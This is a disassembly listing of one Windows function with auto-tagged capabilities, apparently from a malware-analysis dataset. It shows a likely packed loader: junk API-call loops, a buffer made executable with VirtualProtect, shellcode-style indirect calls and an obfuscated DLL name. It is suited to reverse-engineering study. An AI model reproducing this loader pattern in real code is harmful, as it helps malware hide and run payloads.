Function at 0x49e120
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a05b6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2cb0
call fcn.0040c510
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x49e16e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b1d8e
jle 0x49e18a
cmp dword [esp + 0x10], 0xc095d8
je 0x49e18a
cmp dword [esp + 0x3c], 0x903b058
jne 0x49e193
inc esi
cmp esi, 0x98a5a
jl 0x49e160
cmp dword [0x22fc25c], 0xcf8
jne 0x49e290
push edi
push edi
push edi
call fcn.0040490e
push 0x4033d4
push edi
call fcn.0040490e
push edi
push edi
push edi
push edi
call fcn.00404606
push edi
push edi
call fcn.00403e32
push edi
call fcn.004044cb
push edi
push edi
call fcn.0040433b
add esp, 0x38
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2ccc], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x49e200
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x49e21a
push 0x403648
call fcn.00403bcb
cmp esi, 0xf
jbe 0x49e22d
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039b0
jmp 0x49e23a
cmp esi, edi
jne 0x49e23c
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x49e277
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x49e256
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040a730
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x49e273
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x49e28a
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004049cb
add esp, 4
push edi
call fcn.004048bc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x49e2b7
mov eax, 0x5d1
add dword [0x22fc25c], eax
cmp dword [0x22fc25c], 3
jne 0x49e2d6
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x8c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x49e2a4
mov eax, dword [0x22fc25c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x4bf3ec], eax
mov eax, dword [0x22fc25c]
xor esi, esi
test eax, eax
je 0x49e362
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop
cmp eax, 0xfe
jne 0x49e339
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
lea edx, [esp + 0xcc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.0049deb0
mov eax, dword [0x22fc25c]
cmp eax, 0x29
jne 0x49e35d
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x22fc25c]
inc esi
cmp esi, eax
jb 0x49e310
cmp eax, 0x70
jne 0x49e40c
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033e0
push 0x4033f4
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x403400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x8c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x4c4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403470
push 0x403530
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x22fc25c]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x49e463
push 0
lea ecx, [esp + 0x70]
push ecx
push 0
lea edx, [esp + 0x4cc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x22fc25c]
cmp eax, 0xdf
jne 0x49e6ba
push 0x403580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x60]
push eax
push ecx
push ecx
lea edx, [esp + 0x14cc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x68]
push eax
call edi
push 0
lea ecx, [esp + 0x8c]
push ecx
call ebp
push 0
lea edx, [esp + 0x28]
push edx
call ebx
push 0
push 0
push 0
push 0x4035a0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1cc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x64]
push edx
push 0
lea eax, [esp + 0x38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x88]
push ecx
call ebx
push 0
lea edx, [esp + 0x24]
push edx
call ebp
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x4c8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x1c]
push eax
push 0x403608
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x10c4]
push ecx
push 0x403624
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x8c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.00405cc0
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22fc25c]
dec dword [esp + 0x10]
jne 0x49e430
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x49e6d5
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x49e6f0
cmp dword [0x22fc25c], 0x222
jne 0x49e700
push 0
call esi
dec edi
jne 0x49e6f0
mov edx, dword [0x22fc25c]
mov eax, dword [0x4bf3ec]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov byte [0x4ba658], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0049e0d0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x22fc25c], 0xba
jne 0x49e74a
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x49e757
call fcn.0049de90
inc esi
cmp esi, 0x1605a
jl 0x49e731
mov edx, 0x73
mov eax, 0x6d
mov word [0x22f229a], dx
mov word [0x22f229e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x22f22a2], cx
mov word [0x22f22ae], ax
mov word [0x22f22a0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x22f2298
mov dword [0x22f22a8], 0x6c0064
mov word [0x22f229c], ax
mov word [0x22f2298], cx
mov word [0x22f22ac], dx
mov dword [0x22f22a4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x22fc25c], 0xc30
jne 0x49e864
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x8cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x10c4]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2cc4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret